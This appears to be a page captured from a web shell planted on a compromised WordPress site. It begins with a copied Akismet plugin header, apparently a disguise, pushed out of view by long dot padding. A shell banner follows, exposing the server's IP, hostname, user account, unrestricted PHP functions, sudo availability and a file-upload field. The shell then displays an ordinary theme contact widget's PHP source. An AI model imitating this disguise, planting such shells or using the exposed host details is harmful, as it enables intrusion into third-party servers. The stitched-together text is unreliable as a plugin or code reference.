#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/cwd/wp-content/plugins/wd-main-plugin/widgets/ |
Upload File : |
<?php
class contactInfo extends WP_Widget {
function __construct() {
parent::__construct(false, $name = 'contact-info');
}
function form($instance) {
$title = esc_attr($instance['title']);
$phoneNumber = esc_attr($instance['phoneNumber']);
$fax = esc_attr($instance['fax']);
$email = esc_attr($instance['email']);
$adress = esc_attr($instance['adress']);
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php echo esc_attr__( "Title:", 'appliancerepair' ); ?>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('phoneNumber'); ?>"><?php echo esc_attr__( "Phone Number:", 'appliancerepair' ); ?>
<input class="widefat" id="<?php echo $this->get_field_id('phoneNumber'); ?>" name="<?php echo $this->get_field_name('phoneNumber'); ?>" type="text" value="<?php echo $phoneNumber; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('fax'); ?>"><?php echo esc_attr__( "fax Number:", 'appliancerepair' ); ?>
<input class="widefat" id="<?php echo $this->get_field_id('fax'); ?>" name="<?php echo $this->get_field_name('fax'); ?>" type="text" value="<?php echo $fax; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('email'); ?>"><?php echo esc_attr__( "E-mail:", 'appliancerepair' ); ?>
<input class="widefat" id="<?php echo $this->get_field_id('email'); ?>" name="<?php echo $this->get_field_name('email'); ?>" type="text" value="<?php echo $email; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id('adress'); ?>"><?php echo esc_attr__( "Address:", 'appliancerepair' ); ?>
<input class="widefat" id="<?php echo $this->get_field_id('adress'); ?>" name="<?php echo $this->get_field_name('adress'); ?>" type="text" value="<?php echo $adress; ?>" />
</label>
</p>
<?php
}
function widget($args, $instance) {
extract( $args );
$title = apply_filters('widget_title', $instance['title']);
$phoneNumber = $instance['phoneNumber'];
$fax = $instance['fax'];
$email = $instance['email'];
$adress = $instance['adress'];
?>
<?php echo $before_widget; ?>
<?php if ( $title )
echo $before_title . $title . $after_title; ?>
<section class="block-block contact-details block-block-19 block-even clearfix">
<ul class="contact-details-list">
<li class="adr_widget_phone">
<i class="fa fa-phone"></i><span><?php echo esc_attr__( "Phone:", 'appliancerepair' );?> <?php echo $phoneNumber ?></span>
</li>
<li class="adr_widget_fax">
<i class="fa fa-file-o"></i><span><?php echo esc_attr__( "Fax:", 'appliancerepair' );?> <?php echo $fax ?></span>
</li>
<li class="adr_widget_email">
<i class="fa fa-envelope-o"></i><span><?php echo esc_attr__( "Email:", 'appliancerepair' );?> <a href="mailto:<?php echo $email ?>"><?php echo $email ?></a></span>
</li>
<li class="adr_widget_address">
<i class="fa fa-map-marker"></i><span><?php echo esc_attr__( "Address:", 'appliancerepair' );?> <?php echo $adress ?></span>
</li>
</ul>
</section>
<?php echo $after_widget;
}
}
add_action('widgets_init', function(){
register_widget("contactInfo");
});